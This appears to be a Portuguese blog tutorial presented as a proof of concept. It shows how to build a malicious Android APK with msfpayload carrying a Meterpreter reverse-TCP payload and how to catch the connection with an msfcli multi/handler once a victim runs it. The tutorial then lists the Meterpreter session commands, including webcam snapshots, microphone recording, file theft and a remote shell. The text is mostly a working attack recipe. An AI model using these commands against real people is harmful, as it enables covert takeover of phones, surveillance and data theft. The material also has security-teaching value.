O meterpreter em execução no smartphone é uma das coisas que tava sentindo falta e o mínimo que eu podia fazer, era demonstrar uma prova de conceito.
O aplicativo para gerar o APK vai sr feito via msfpayload, com esta ferramenta podemos gerar shellcodes, tanto para linguagens como C, Javascript, Ruby, como gerar arquivos binários, que contêm o shellcode. O caso típico é o os cavalos de Tróia, ou como gerar um EXE com Meterpreter de shell inversa. Neste caso, vamos usar o aplicativo para gerar um msfpayload APK para o Android, que terá uma atividade principal um tanto curioso, é que realmente o que você executa é o Meterpreter Java modificado para ser executado em um Android. Usaremos o Msfcli para receber a conexão reversa gerado por shellcode que se executa no terminal.
Primeiro gerar o APK com a instrução msfpayload android/meterpreter/reverse_tcp LHOST=<IP donde esperaremos> LPORT=<puerto donde se debe conectar> R > meter.apk.
Uma vez gerado o nosso bug, o que faremos é configurar para receber a conexão reversa via msfcli … esperar que o bug volte para casa. Para fazer isso, a ferramenta configurada assim:
msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST= <IP QUE RECEBERÁ AS CONEXÕES>
Uma vez que a vítima execute o APK se executará a shellcode que se encontra dentro do binario, provocando a conexão inversa. Recordamos que Meterpreter é do tipo Stager, assim será também em duas fases, primeiro de conexão e segundo de funcionalidades.
Nós já temos a sessão , o que podemos fazer com isso? Mais tarde, deixo uma lista de comandos disponíveis neste Meterpreter, principalmente as coisas que você poderia fazer com um Meterpreter Java. Bem, como lançar exemplo gráfico de uma captura de imagem através da câmera do próprio aparelho, usando o comando webcam_snap. Com webcam_list comando pode listar as câmeras de dispositivo disponíveis (frente, traseira). Um exemplo de captura de imagem da câmera na parte frontal do smartphone rodando o shellcode:
Temos também disponível comandos para download e upload de arquivos para o dispositivo, além de um shell como você pode ver na imagem:
Comandos do Meterpreter de Android:
Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for 'load' write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- execute Execute a command getuid Get the user that the server is running as ps List running processes shell Drop into a system command shell sysinfo Gets information about the remote system, such as OS Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam